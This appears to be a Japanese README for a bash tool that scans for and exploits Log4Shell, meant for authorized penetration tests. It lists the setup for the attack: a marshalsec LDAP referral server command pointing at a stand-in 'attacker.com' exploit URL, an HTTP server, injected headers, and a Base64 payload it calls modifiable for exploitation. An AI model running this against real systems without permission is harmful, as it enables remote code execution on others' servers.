Log4Shell-Scanner-Exploit
Log4Shellの脆弱性をリモートで特定または悪用するためのbashスクリプト。
このツールは、LDAPペイロードとX-Api-Version、User-Agent、X-Forwarded-Forヘッダーを使用して様々なテストを実行します。
このスクリプトは、監査対象のサービス/アプリケーションの所有者から事前の許可を得た上で常に使用してください。
依存関係:
- Githubからプリコンフィグ済みのLDAPサーバーを作成します: https://github.com/mbechler/marshalsec
mvn clean package -DskipTests && Java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar
marshalsec.jndi.LDAPRefServer 'http://attacker.com/#exploit'
-
HTTPサーバーを起動します
python3 -m http.server 8080
-
Javaがインストールされていること
#sudo apt install default-jre
-
Curlがインストールされていること
#sudo apt-get install curl
使用例:
以下のパラメータを入力します:
- スキャンするURLのリスト
- LDAPサーバーのIPアドレス
- LDAPサーバーのポート
- HTTPサーバーのIPアドレス
- HTTPサーバーのポート
#内部ネットワーク上のアプリケーションスキャンの例:
- ./Log4Shell_Scanner.sh <URLリスト> <LDAPサーバーIP> <LDAPサーバーポート> <HTTPサーバーIP> <HTTPサーバーポート>

#インターネット上のアプリケーションスキャンの例:
- ./Log4Shell_Scanner.sh <URLリスト> <LDAPサーバーIP> <LDAPサーバーポート> <HTTPサーバーIP> <HTTPサーバーポート>

補足事項:
- 使用されるペイロードは、脆弱性が確認されたマシンに対して"ifconfig"コマンドを送信します。このペイロードはBase64でエンコードされており、ペネトレーションテスト監査での悪用段階を実行するために変更可能です。
- インターネット上のサービスでツールを使用したい場合は、LDAPサーバーのローカルポートにポートフォワーディングを行うNgrokサービスを開始できます。
- このスクリプトは、分析対象のサービス/アプリケーションの所有者から事前の許可を得た上で常に使用してください。